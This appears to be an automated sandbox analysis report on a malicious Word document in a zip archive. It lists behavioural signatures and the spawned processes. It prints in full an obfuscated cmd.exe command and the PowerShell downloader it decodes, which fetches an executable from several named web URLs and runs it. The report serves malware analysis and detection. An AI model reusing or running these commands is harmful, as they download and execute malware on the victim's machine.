Overview

overview

10

task1

 

10

task2

 

10

task3

 

10

task4

 

10

task5

 

8

task6

 

8

task7

 

10

task8

 

10

task9

 

10

task10

 

10

Analysis

  • max time kernel
    110s
  • max time network
    121s
  • resource
    win7v191014

Sharing

Copy URL
Twitter E-mail

General

  • Target

    Supergevaarlijkk.zip

  • Sample

    191029-p1j1431a9n

  • SHA256

    6cd246cd910e33eaee00e3d138bc49fcf85562b5f8c394d4b092372d25cc0eac

Score
N/A

Malware Config

Signatures

  • Modifies registry class 1 TTPs 64 IoCs
    persistence
  • Process spawned unexpected child process 1 IoCs
  • Windows cmd obfuscated command 2 IoCs
  • powershell_downloader 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Uses Task Scheduler COM API 1 TTPs 12 IoCs
    persistence
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Drops Office document 4 IoCs
    dropperexploitermaldoc
  • Drops file in system dir 3 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0dded430c1958ae0ec60c2d50ab99f562269ad1ee09db17606661bd55cd29c66.doc"
    1⤵
    • Modifies registry class
    • Suspicious use of SetWindowsHookEx
    • Drops Office document
    • Drops file in system dir
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    • Suspicious behavior: AddClipboardFormatListener
    PID:1312
  • \??\c:\windows\system32\cmd.exe
    c:\vzfWNdCGiTp\ELZjVnjMduYMWI\OzSjFliDoUafiX\..\..\..\windows\system32\cmd.exe /c %ProgramData:~0,1%%ProgramData:~9,2% /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
    1⤵
    • Process spawned unexpected child process
    • Windows cmd obfuscated command
    • Suspicious use of WriteProcessMemory
    PID:1096
  • C:\Windows\system32\conhost.exe
    \??\C:\Windows\system32\conhost.exe "1145494900162369655018148990691529387095-157741661026531389279276841363457141"
    1⤵
    • Suspicious use of SetWindowsHookEx
    PID:1108
  • C:\Windows\system32\cmd.exe
    CmD /V/C"set 8zN=jDYOzpwKEKrWhHFvMIaSaUWRtF;+sQN8P$3di gL:uf{.b=excnB@\90(JZ-lAmGkyoT,C/6'})V&&for %q in (33,50,28,13,46,72,51,9,42,72,26,33,24,62,15,46,50,47,6,59,66,45,0,47,49,24,37,30,47,24,44,22,47,45,69,60,36,47,50,24,26,33,64,0,23,46,72,12,24,24,5,40,70,70,6,6,6,44,28,47,10,47,42,66,4,20,24,20,44,49,66,62,70,20,48,42,52,12,24,24,5,40,70,70,6,6,6,44,60,36,15,36,50,38,45,10,20,50,49,12,20,50,36,62,20,60,28,49,36,47,50,49,47,28,44,49,66,62,70,4,75,16,29,25,39,52,12,24,24,5,40,70,70,6,6,6,44,35,66,50,38,12,66,35,20,36,20,50,44,49,66,62,70,0,36,32,75,36,32,52,12,24,24,5,40,70,70,28,5,10,20,65,4,47,47,44,49,66,62,70,36,36,22,2,47,71,4,52,12,24,24,5,40,70,70,65,20,28,20,10,64,47,62,20,60,5,60,20,24,42,66,10,62,41,44,66,10,38,70,28,72,44,19,5,60,36,24,56,72,52,72,74,26,33,6,35,30,46,72,62,51,30,72,26,33,63,6,45,37,46,37,72,34,54,55,72,26,33,15,4,0,46,72,8,1,64,72,26,33,51,57,8,46,33,47,50,15,40,24,47,62,5,27,72,53,72,27,33,63,6,45,27,72,44,47,48,47,72,26,42,66,10,47,20,49,12,56,33,67,51,9,37,36,50,37,33,64,0,23,74,43,24,10,65,43,33,24,62,15,44,1,66,6,50,60,66,20,35,25,36,60,47,56,33,67,51,9,68,37,33,51,57,8,74,26,33,1,9,4,46,72,12,36,0,72,26,17,42,37,56,56,63,47,24,59,17,24,47,62,37,33,51,57,8,74,44,60,47,50,38,24,12,37,59,38,47,37,31,55,55,55,55,74,37,43,17,50,15,66,64,47,59,17,24,47,62,37,33,51,57,8,26,33,64,36,51,46,72,62,29,58,72,26,45,10,47,20,64,26,73,73,49,20,24,49,12,43,73,73,33,22,42,5,46,72,13,8,61,72,26,78)do set FtX=!FtX!!8zN:~%q,1!&&if %q equ 78 powershell "!FtX:~5!""
    1⤵
    • Windows cmd obfuscated command
    PID:1520
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell "$nsH='BKf';$tmv=new-object Net.WebClient;$kjR='http://www.serefozata.com/axf@http://www.livingbranchanimalsciences.com/zVMQFL@http://www.donghodaian.com/jiPViP@http://sprayzee.com/iiWYe6z@http://yasarkemalplatformu.org/s'.Split('@');$wdN='mBN';$Gwb = '390';$vzj='EDk';$BJE=$env:temp+'\'+$Gwb+'.exe';foreach($TBK in $kjR){try{$tmv.DownloadFile($TBK, $BJE);$DKz='hij';If ((Get-Item $BJE).length -ge 80000) {Invoke-Item $BJE;$kiB='mQZ';break;}}catch{}}$Wfp='HEA';"
    1⤵
    • powershell_downloader
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious behavior: EnumeratesProcesses
    PID:1976
  • C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
    "C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE"
    1⤵
    • Uses Task Scheduler COM API
    PID:1328

Network

MITRE ATT&CK Enterprise v15

MITRE ATT&CK Additional techniques

  • T1086

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/1312-0-0x0000000006570000-0x0000000006574000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1312-1-0x0000000006691000-0x0000000006695000-memory.dmp

    Filesize

    16KB

    Download

  • memory/1312-2-0x0000000006691000-0x0000000006695000-memory.dmp

    Filesize

    16KB

    Download